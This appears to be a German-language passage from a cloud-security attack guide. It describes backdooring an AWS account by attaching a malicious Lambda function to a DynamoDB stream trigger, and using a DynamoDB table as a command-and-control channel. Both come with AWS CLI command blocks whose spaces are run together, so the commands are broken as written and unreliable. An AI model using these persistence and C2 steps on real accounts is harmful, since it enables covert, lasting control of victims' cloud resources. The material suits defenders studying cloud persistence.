Durch die Verwendung von DynamoDB-Triggern kann ein Angreifer eine heimliche Hintertür erstellen, indem er eine bösartige Lambda-Funktion mit einer Tabelle verknüpft. Die Lambda-Funktion kann ausgelöst werden, wenn ein Element hinzugefügt, geändert oder gelöscht wird, was es dem Angreifer ermöglicht, beliebigen Code im AWS-Konto auszuführen.
# Create a malicious Lambda functionawslambdacreate-function \--function-name MaliciousFunction \--runtime nodejs14.x \--role <LAMBDA_ROLE_ARN> \--handler index.handler \--zip-file fileb://malicious_function.zip \--region <region># Associate the Lambda function with the DynamoDB table as a triggerawsdynamodbstreamsdescribe-stream \--table-name TargetTable \--region <region># Note the "StreamArn" from the outputawslambdacreate-event-source-mapping \--function-name MaliciousFunction \--event-source <STREAM_ARN> \--region <region>
Um die Persistenz aufrechtzuerhalten, kann der Angreifer Einträge in der DynamoDB-Tabelle erstellen oder ändern, was die Ausführung der bösartigen Lambda-Funktion auslöst. Dies ermöglicht es dem Angreifer, Code innerhalb des AWS-Kontos auszuführen, ohne direkt mit der Lambda-Funktion interagieren zu müssen.
DynamoDB als C2-Kanal
Ein Angreifer kann eine DynamoDB-Tabelle als Command-and-Control (C2)-Kanal verwenden, indem er Einträge erstellt, die Befehle enthalten, und kompromittierte Instanzen oder Lambda-Funktionen verwendet, um diese Befehle abzurufen und auszuführen.
# Create a DynamoDB table for C2awsdynamodbcreate-table \--table-name C2Table \--attribute-definitions AttributeName=CommandId,AttributeType=S \--key-schema AttributeName=CommandId,KeyType=HASH \--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \--region <region># Insert a command into the tableawsdynamodbput-item \--table-name C2Table \--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \--region <region>
Die kompromittierten Instanzen oder Lambda-Funktionen können regelmäßig die C2-Tabelle auf neue Befehle überprüfen, sie ausführen und optional die Ergebnisse zurück an die Tabelle melden. Dies ermöglicht es dem Angreifer, Persistenz und Kontrolle über die kompromittierten Ressourcen aufrechtzuerhalten.